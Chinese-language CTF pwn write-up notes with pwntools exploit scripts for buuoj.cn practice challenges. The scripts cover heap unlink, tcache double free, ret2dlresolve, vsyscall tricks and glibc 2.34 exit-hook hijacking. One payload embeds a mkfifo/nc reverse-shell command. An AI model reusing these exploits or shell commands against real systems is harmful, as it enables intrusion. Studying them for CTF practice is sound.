爆破 爆破算法 iscc2018_final_pwn1 最开始这个题目我也没太弄懂具体算法,那么我们就爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ch="qagvCYiheXulrpszNLwMtodbVx" ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM" tar="" import itertools for i in ta:     tar+=chr(ch.index(i)+97) for i in itertools.product("0123",repeat=7):     io.close()     io = process(parm)     sla(b"Give me a number!\n",b"8584")     sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]")          sla(b"phase 3... right?\n",tar)     sla(b"time for phase 4.\n"," ".join(i))     if b"Congratulations, you won! Here's the flag:" in rl():         print(" ".join(i))         exit(0) 
1 2 3 4 5 6 7 8 9 10 11 ch="qagvCYiheXulrpszNLwMtodbVx" ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM" tar="" sla(b"Give me a number!\n",b"8584") sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]")      sla(b"phase 3... right?\n",tar) sla(b"time for phase 4.\n",b"0 0 0 1 1 2 1") it() 
伪随机 随机数预测 bitsctf_2017_random_game https://buuoj.cn/challenges#bitsctf_2017_random_game 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./bitsctf_2017_random_game" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path:     one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147] elif "2.27" in libc.path:     one_gadget = [0x4F2C5, 0x4F322, 0x10A38C] else:     one_gadget = [] if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port =27808     io = remote(remote_ip, remote_port) else:     io = process(elf_path) from math import floor from ctypes import CDLL libc = CDLL('./libc-2.23.so') now = int(floor(time.time())) libc.srand(now) for i in range(0,40):   v8 = libc.rand() & 0xF   io.sendline(str(v8)) it() 
这里多一点,避免有不一样的,然后运行就可以了,所以下次遇到随机数其实是可以预测的
虚拟机 seccon2018_kindvm 一个比较简单的虚拟机,修改指针为flag,然后会读出内容,这里不需要leak,因为堆上有堆地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def inn(pianyi,value):     return b"\x07"+p8(pianyi)+p32(value)[::-1] def store(mem_pianyi,reg_pianyi):     return b"\x02"+p16(mem_pianyi)[::-1]+p8(reg_pianyi) def load(reg_pianyi,mem_pianyi):     return b"\x01"+p8(reg_pianyi)+p16(mem_pianyi)[::-1] def add(char_pianyi,pianyi):     return b"\x04"+p8(char_pianyi)+p8(pianyi) #banner.txt 0x24 #leak 0x28 sla(b"ur name : ",b"a") payload=load(0,(1<<16)-0x28)+inn(1,0x20)+add(1,0)+store((1<<16)-0x24,1)+b"\x07\x00galf"+store(0x10,0)+inn(0,0)+store(0x14,0)+b"\x06" sa(b"Input instruction : ",payload) it() 
wdb_2018_2nd_hvm https://buuoj.cn/challenges#wdb_2018_2nd_hvm 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 push "o\n"  push "hello"  mov rsi,rsp mov rdi,0x1  mov rdx,0x6  mov rax,1  syscall push rip jmp short e*4  push rbp mov rbp,rsp sub rsp,0x30  mov rsi,rsp mov rdi,0  mov rdx,0xf0  mov rax,0  syscall  mov rsp,rbp pop rbp ret tmp+3   
1 2 3 4 5 6 7 8 9 10 11 12 13 sa(b"hello\n" ,b"a" *0x34 +p32(0xfbfbffff )+p32(0x1A )+p32(0 )+p32(0x4 )+p32(0 )+p32(7 )+b"/sh\0" +p32(7 )+b"/bin" +p32(0xd )+p32(1 )+p32(0x3b000000 )+p32(0xe )) it() 
下面是ida分析过的文件wdb_2018_2nd_hvm.txt 
C/S架构题目 [GKCTF 2021]demo_catRoom https://buuoj.cn/challenges#[GKCTF%202021]demo_catRoom 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from  pwn import  *it = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./client"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] b *$rebase(0xF56 ) malloc调试 b *$rebase(0x1205 ) flag测试 b *$rebase(0x148B ) free gdbscript = """          b *$rebase(0x1199)         c         """ db=gdb.debug("./server" ,gdbscript=gdbscript) sleep(1 ) if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =25857      io = remote(remote_ip, remote_port) else :    io = process([elf_path,"117.21.200.166" ,"29119" ]) def  reg (name,password ):    sla(b"exit \n" ,b"1" )          sla(b"input your name\n" ,name)     sla(b"nput your passwd\n" ,password) def  login (name,password ):    sla(b"exit \n" ,b"2" )     sla(b"input your name\n" ,name)     sla(b"nput your passwd\n" ,password) def  delete (name,password ):    sla(b"exit \n" ,b"4" )     sla(b"nput your remove name\n" ,name)     sla(b"nput your passwd\n" ,password) reg(b"a" ,b"a" ) reg(b"b" ,b"b" ) delete(b"a" ,b"a" ) reg(b"a" *32 ,b"b" *0x28 +p64(0xffffffffffffffff )+b"admin\0" ) login(b"admin" ,b"b" ) it() 
好题 利用初始化变量 hitb-2017 1000levels 最开始看到这个hint函数,里面需要这样可以打印system的地址
1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Choice:\n",b"2") sla(b"Choice:\n",b"1") sla(b"How many levels?\n",b"-1") sla(b"Any more?\n",b"-378")#one_gadget for i in range(0x3e6):     ru(b"Question: ")     sla(b"Answer:",str(eval(rud(b"=")))) ru(b"Question: ") sa(b"Answer:",b"a"*0x38+p64(0xffffffffff600000)*13) it() 
ret2dlresolve HITCON 2015 -blinkroot 题目比较好,比较早开始打ret2dlresolve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #DT_SYMTAB 6 # DT_STRTAB	5 这个偏移只要是个地址就可以,别的无所谓  #DT_JMPREL	23 #0x5000  #link_map距离gbuf 0xf80 #p * (struct link_map *)0x7f463f196000 #debug_force() fake_link_map_start_addr=0x600Bc0+0x100 payload=p64(-0x80+(1<<64))+p64(fake_link_map_start_addr)#任意地址写,修改got+8处的值为我们伪造的linkmap结构体 payload+=b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f" payload=payload.ljust(0x100,b"\x00") system_libc_main=libc.sym["system"]-libc.sym["__libc_start_main"] read_got=0x600B78                                                     #fake reloc payload+=p64(system_libc_main)+p64(read_got)+p64(0)+p64(fake_link_map_start_addr+8)+p64(read_got-system_libc_main)+p64(7)+p64(0)*2 l_info = p64(0)*5+p64(fake_link_map_start_addr)+p64(fake_link_map_start_addr)+p64(0)*(23-7)+p64(fake_link_map_start_addr+0x10) payload+=l_info payload=payload.ljust(0x400,b"\x00") s(payload) it() 
BYPASS PIE 我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)
可以利用的vsyscall有三个,地址如下
gettimeofday: 0xffffffffff600000
分配的内存较小;
只允许4个系统调用;
Vsyscall页面在每个进程中是静态分配了相同的地址;
【vDSO】
提供和vsyscall相同的功能,同时解决了其局限。
vDSO是动态分配的,地址是随机的;
可以提供超过4个系统调用;
vDSO是glibc库提供的功能
基地址:0xffffffffff600000
#define VSYSCALL_ADDR_vgettimeofday   0xffffffffff600000
#define VSYSCALL_ADDR_vtime           0xffffffffff600400
#define VSYSCALL_ADDR_vgetcpu          0xffffffffff600800
1 dump memory ./dump 0xffffffffff600000 0xffffffffff601000 
这个我dump不下来
unexplitable 1 2 3 s(b"a" *0x18 +p64(0xffffffffff600000 )+p64(0xffffffffff600000 )+p64(0 )) it() 
漏洞不明显 inndy_notepad https://buuoj.cn/challenges#inndy_notepad 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * # shell = ssh(host="node4.buuoj.cn", user="CTFMan", port=26682, password="guest") # shell.process it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./notepad" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path:     one_gadget = [0x3A80C, 0x3A80E, 0x3A812, 0x3A819, 0x5F065, 0x5F066] elif "2.27" in libc.path:     one_gadget = [         0x3CBEA,         0x3CBEC,         0x3CBF0,         0x3CBF7,         0x6729F,         0x672A0,         0x13573E,         0x13573F,     ] else:     one_gadget = [] if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port = 27250     io = remote(remote_ip, remote_port) else:     io = process(elf_path) def debug():     global io     gdbscript = """     b *0x8048CE8     c     x/10xw 0x804B080     """     gdb.attach(io, gdbscript=gdbscript) def add(size,content):     sla(b"::> ",b"a")     sla(b"size > ",str(size))     sla(b"data > ",content) def free(index):     sla(b"::> ",b"c")     sla(b"id > ",str(index)) def show(index):     sla(b"::> ",b"b")     sla(b"id > ",str(index))     sla(b"edit (Y/n)",b"n")     sla(b"::> ",b"a") def read_only(index):     sla(b"::> ",b"d")     sla(b"id > ",str(index)) def edit(index,content,juece):     sla(b"::> ",b"b")     sla(b"id > ",str(index))     sla(b"edit (Y/n)",b"Y")     sla(b"content > ",content)     sla(b"::> ",juece) def edit_twice(index,juece):     sla(b"::> ",b"b")     sla(b"id > ",str(index))     sla(b"::> ",juece) def convert_str_asmencode(content: str):     out = ""     for i in content:         out = hex(ord(i))[2:] + out     out = "0x" + out     return out sla(b"::> ",b"c") add(0x14,p32(elf.plt["free"]))#0 add(0x224,b"a")#1 add(0x14,b"a")#2 edit(1,b"a",chr(ord(b"a")-6)) edit(0,p32(elf.plt["puts"]),b"a") edit_twice(1,chr(ord(b"a")-6)) libc_base=u32(ru(b"\xf7"))+0xf7d49000-0xf7ef97b0 add(0x14,b"a")#3 add(0x14,b"a")#4 edit(3,p64(libc_base+one_gadget[0]),b"a") edit(4,b"a",chr(ord(b"a")-6)) #edit(0,b"a"*0x14) it() 
花式unlink ciscn_2019_en_5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import  * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_en_5"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27372      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0xe5c)     c     x/10xg $rebase(0x202060)     x/10xg $rebase(0x202100)     x/xg $rebase(0x2021A0)     " ""     gdb.attach(io, gdbscript=gdbscript)         #7 -512  def add(size,content):     sla(b"choice> " , b"1" )     sla(b"length> " ,str(size))     sa(b"content> " ,content)      #清零了 def free(index):     sla(b"choice> " , b"3" )     sla(b"index> " ,str(index)) def show(index):     sla(b"choice> " , b"2" )     sla(b"index> " ,str(index)) # def edit(index,content): #     sla(b"Your choice: " , b"4" ) #     sla(b"book to write?" ,str(index)) #     sa(b"Content: " ,content)     # def convert_str_asmencode(content: str): #     out = ""  #     for  i in content: #         out = hex(ord(i))[2 :] + out #     out = "0x"  + out #     return  out sla(b"name> " ,b"a" *24 ) for  i in range (10 ):    add(0x98 ,b"a\n" ) for  i in range (7 ):    free(3 +i) for  i in range (2 ):    free(i) add(0x10 ,b"a\n" )#0  add(0x78 ,b"a\n" )#1  add(0x58 ,b"a\n" )#3  #这里如果一次拿完,就会导致prev_inuse为不为1 ,后续free会报错,这个块先会被放到tcache,这里会把下一块prev_inuse设为1 ,但从tcache里面拿不会修改这个块的prev_inuse位 #但是如果大小不是完全一样,这里由于是last_remainder,所以会进行切割,这里会set_header,prev_inuse,因为glibc认为如果last_remainder的前面一块是free的,那么一定会合并,如果没有合并说明前面一定是inuse for  i in range (7 ):    add(0x78 ,b"a\n" ) for  i in range (7 ):    free(4 +i) free(1 ) free(2 ) add(0x28 ,b"a\n" )#如果add78就会分配到tcache里面去 add(0x38 ,b"a\n" ) show(3 ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f0bd60d2000 -0x7f0bd64bdca0  for  i in range (20 -4 ):    add(0x48 ,b"a\n" ) add(0x48 ,b"/bin/sh||" .ljust(0x20 ,b"a" )+p64(libc_base+libc.sym["__free_hook" ])) sla(b"choice> " , b"4" ) sla(b"remarks> " ,p64(libc_base+libc.sym["system" ])) it() 
堆分配地址受限 qwb2019_one BUUCTF在线评测 (buuoj.cn) 
这个题目是个好题,首先是strchr,如果是\x00,则会匹配到最后一个字节,然后替换造成越界
最开始我可以直接堆块重叠 double free但是由于会check分配的地址是不是在堆上,所以失败
这个题目可以泄露bss地址,那么就unlink,unlink可以让我们控制指针数组,达到任意地址写,并且不需要利用malloc
思路很好的题目,但是exp不太好看,因为要利用越界写fake chunk之类的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./one"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =26480      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0x111B)     c     x/xg $rebase(0x203060)     " ""     gdb.attach(io, gdbscript=gdbscript)     sleep(1 ) def add(content):     sla(b"command>> \n" , b"1" )     sa(b"Now, you can input your test string:\n" ,content) #清零了 def free (index):     sla(b"command>> \n" , b"4" )     sla(b"Please give me the index of the string:\n" ,str(index)) def show(index):     sla(b"command>> \n" , b"3" )     sla(b"Please give me the index of the string:\n" ,str(index)) def edit(index,charr,content):     sla(b"command>> \n" , b"2" )     sla(b"Please give me the index of the string:\n" ,str(index))     sa(b"Which char do you want to edit:\n" ,charr)     sla(b"What do you want to edit it into:\n" ,content)     #泄露elf load addr sla(b"command>> \n" , str(0x3124 )) sla(b"Do you want to use one?(Y/N)\n" ,b"Y" ) sla(b"Here are 5 strings to be tested. Which one do you want to test?\n" ,str(0x80000000 )) ru(b"The string:\n" ) target_addr=u64(rld().ljust(8 ,b"\0" )) if  target_addr<0x4030c0 :    exit (0 ) add(b"a" *0x20 ) for  i in range(0x11 ):    add(b"/bin/sh\n" ) for  i in range(0x18 ):    edit(0 ,b"\x00" ,b"a" ) edit(0 ,b"\x00" ,b"\x04" ) edit(0 ,b"\x41\x00" ,b"\x40" ) for  i in range(0 ,0x38 ):    edit(0 ,b"a\x00" ,chr(ord('a' )+i+1 )) fake_chunk=p64(0 )+p64(0x31 )+p64(target_addr-0x18 )+p64(target_addr-0x10 )+p64(0 )*2 +p64(0x30 ) for  i in range(0x37 ,-1 ,-1 ):    edit(0 ,chr(ord('a' )+i+1 )+"\x00" ,p8(fake_chunk[i])) free (1 )#unlink ptr=p64(target_addr-0x18 ) target=p64(target_addr+0x8 ) for  i in range(0x18 ):    edit(0 ,b"\x00" ,b"\x01" ) for  i in range(1 ):    edit(0 ,p8(ptr[i])+b"\x00" ,p8(target[i])) load_addr=target_addr-0x2030c0  puts_got=p64(elf.got["puts" ]+load_addr) for  i in range(8 ):    edit(0 ,b"\x00" ,p8(puts_got[i])) show(1 ) ru(b"The string is:\n" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-libc.sym["puts" ] free_hook=p64(libc_base+libc.sym["__free_hook" ]) for  i in range(8 ):    edit(0 ,p8(puts_got[i])+b"\x00" ,p8(free_hook[i])) system_addr=p64(libc_base+libc.sym["system" ]) for  i in range(8 ):    edit(1 ,b"\x00" ,p8(system_addr[i])) free (2 )it() 
奇奇怪怪的题目 综合bypass ciscn_2019_final_10 BUUCTF在线评测 (buuoj.cn) 
负数绕过
转化为char是0
然后double free修改内容
\0\0绕过判断
这里执行完之后修改了第一个指令,但是不影响,已经执行完了,这里rax就是shellcode起始地址
1 2 3 4 5 6 7 8 9 10 11 sa(b"> " ,b"a" ) sla(b"> " ,str(0x80000000 -(1 <<32 ))) add(0x30 ,b"a" ) free ()free ()add(0x30 ,b"\x90" ) add(0x30 ,b"0" ) add(0x30 ,b"The cake is a lie!\0" ) sla(b"> " , b"3" ) sa(b"> " ,b"\x00\x00" +asm (shellcraft.sh())) it() 
异常 itcon_2018_hackergame_2018_calc BUUCTF在线评测 (buuoj.cn) 
一个比较好玩的题目
异常处理函数这里是个后门,所以我们要触发异常
过滤了除0异常,但还有一种异常
2147483648/4294967295也就是-0x8000000/-1也可以引发异常
触发异常之后绕过sh
我们可以调用vim然后:!sh返回shell
1 2 3 4 sla(b">>> " , b"2147483648/4294967295" ) sla(b"examine:\n" , b"vim" ) sla(b"terminal\n" , b":!sh" ) it() 
ulimit pwnable_otp BUUCTF在线评测 (buuoj.cn) 
比较新奇的题目
创建了一个文件,从文件里面读取passwd
我们可以先执行ulimit -f 0限制创建文件大小,这样size就是0,从里面读入的就是空
然后执行
解释器 wdb_2018_final_pwn1 https://buuoj.cn/challenges#wdb_2018_final_pwn1 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from  pwn import  *it = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./wdb_2018_final_pwn1"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =26113      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def  debug ():    global  io     gdbscript = """      b  *0x400B30     c     """     gdb.attach(io, gdbscript=gdbscript)    def  add (size,data ):    sla(b"Exit\n" , b"2" )     sla(b"3. Large\n" ,str (size))     sla(b"Enter your item`s name: \n" ,data) def  free (index ):    sla(b"Exit\n" , b"4" )     sla(b" like to remove?\n" ,str (index)) def  add_to_list (size,num ):    sla(b"Exit\n" , b"3" )     sla(b"3. Large\n" ,str (size))     sla(b"would you like to add?\n" ,str (num)) def  show ():    sla(b"Exit\n" , b"1" ) def  edit (index,content ):    sla(b"Exit\n" , b"5" )     sla(b"you like to edit?\n" ,str (index))     sla(b"item`s new name: \n" ,content) payload=b"<" *32 +b"." +b">." *5 +b"<" *(5 +64 )+b"," +b">," *5 +b"\x00"  sla(b"Put the code: " ,payload) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["_IO_2_1_stderr_" ] one_gadget_addr=libc_base+one_gadget[1 ] while  one_gadget_addr:    s(p8(one_gadget_addr&0xff ))     sleep(0.1 )     one_gadget_addr=one_gadget_addr>>8  it() 
pwnable_bf BUUCTF在线评测 (buuoj.cn) 
解析指令做一些操作,不过这里可以覆盖到got表,所以可以劫持控制流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload = (     b"<"  * 120      + b".>.>.>."      + b">"  * 5      + b",>,>,>,"      + b"<"  * 7      + b",>,>,>,"      + b"<"  * (3  + 7  * 4 )     + b",>,>,>,"      + b"."  ) sla(b"except [ ]\n" , payload) addr = 0  for  i in range(4 ):    addr += u8(r(1 )) << i * 8  libc_base = addr - libc.sym["setvbuf" ] for  i in p32(elf.sym["main" ]):    s(p8(i)) for  i in p32(libc.sym["gets" ] + libc_base):    s(p8(i)) for  i in p32(libc.sym["system" ] + libc_base):    s(p8(i)) sl(b"/bin/sh\0" ) it() 
exit elf_set___libc_atexit_elementIO_cleanup newest_note 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./newest_note"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc # if  "2.23"  in libc.path: #     one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] # elif  "2.27"  in libc.path: #     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] # else : #     one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "123.56.111.202"      remote_port =12885      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0x14A4)     b *$rebase(0x14D2)     b *$rebase(0x169B)     b *$rebase(0x13A5)     c     x/xg $rebase(0x4190)     " ""     gdb.attach(io, gdbscript=gdbscript)     sleep(1 ) def add(index,content):     sla(b": " , b"1" )     sla(b"Index: " ,str(index))     sa(b"Content: " ,content) def free (index):     sla(b": " , b"2" )     sla(b"Index: " ,str(index)) def show(index):     sla(b": " , b"3" )     sla(b"Index: " ,str(index)) # def edit(index,content): #     sla(b"enter your command: \n" , b"3" ) #     sla(b"Index: \n" ,str(index)) #     sa(b"message: \n" ,content)     # def convert_str_asmencode(content: str): #     out = ""  #     for i in content: #         out = hex(ord(i))[2:] + out #     out = "0x"  + out #     return out #最高位不能是1 ,不然就变成负数了 sla(b"notebook will be? :" ,str(0x60004200 )) show((0x7f119629acf0 -0x7f119605d010 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7ff36b130cd0 +0x7ff36af18000  for  i in range(0 ,9 ):    add(i,b"a" ) for  i in range(7 ):    free (i)     if  i==0 :         show(0 )         ru(b"Content: " )         cookie=u64(rld().ljust(8 ,b"\0" ))         first_heap_addr=(cookie<<12 )+0x290  free (7 )free (8 )free (7 )for  i in range(7 ):    add(i,b"a" ) #__elf_set___libc_atexit_element__IO_cleanup__=libc_base+0x21a6c8  __libc_atexit=libc_base+libc.get_section_by_name("__libc_atexit" ).header["sh_addr" ] add(7 ,p64((__libc_atexit-0x8 )^cookie)) add(8 ,b"a" ) add(9 ,b"a" ) one_gadget=0xeeccc +libc_base add(10 ,p64(0 )+p64(one_gadget)) #debug() sla(b": " , b"4" ) it() 
这个题目首先有两点
free次数有限
在libc-2.34中,一次doublefree至少需要free 10次,因为tcache会check每一个chunk是否一样,同时free到fastbin的时候也会先去tache里面check是否重复,所以7次填满tcache,fastbin double free
但题目只有10次,所以相当于这次double free是用来写backdoor
但是没有libc泄露
所以libc泄露就要去整数溢出
0x60004200
0x60004200*8=0x300021000 ,0x21000保证我们会用 mmap,因为当前top chunk大小为0x20df0左右
这个时候利用main_arena里面的指针show就可以了
由于2.34没有free_hook之类的,所以放到exit_hook里面
本来旧版本可以打exit_function→fun[],但里面的地址xor了fs:[0x30]所以无法修改
注意到最后有个elf_set___libc_atexit_elementIO_cleanup的地址,里面保存了io_cleanup 
这个函数地址没有校验,就打这个
one_gadget一把锁
后续 libc-2.24以后,对于这个exit_function_list的地址都做了异或,所以不能再修改这个了
但由于exit调用传入的run_list_atexit是true,所以可以使用RUN_HOOK
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # define  RUN_HOOK(NAME, ARGS)						      \ do {									      \   void *const *ptr;						      \   for (ptr = (void *const *) symbol_set_first_element (NAME);		      \        ! symbol_set_end_p (NAME, ptr); ++ptr)				      \     (*(__##NAME##_hook_function_t *) *ptr) ARGS;			      \ } while (0) 这里修改一下就是				       do  {									       void  *const  *ptr;						        for  (ptr = (void  *const  *) symbol_set_first_element (__libc_atexit);		      \        ! symbol_set_end_p (__libc_atexit, ptr); ++ptr)				      \     (*(__##__libc_atexit##_hook_function_t  *) *ptr) ();			      \ } while  (0 ) #define  symbol_set_first_element(set)	((void *const *) (&__start_##set)) #define  symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set) do  {									       void  *const  *ptr=	(void  *const  *)		((void  *const  *) (&__start_##__libc_atexit))			        for  (;! symbol_set_end_p (__libc_atexit, ptr); ++ptr)				          (*(__##__libc_atexit##_hook_function_t  *) *ptr) ();			     } while  (0 ) 
由于__libc_atexit其实是libc里面的一个段,所以我们就相当于遍历这个段里面的所有指针,对于一案的libc来说,里面其实只有一个函数指针的长度,在libc_2.34中这个函数指针就是_IO_cleanup,我们如果把这个里面保存的值修改了,那么我们就相当于也是hook住了函数
RUN_HOOK展开,把glibc源码里面的定义放到c里面
写如下程序
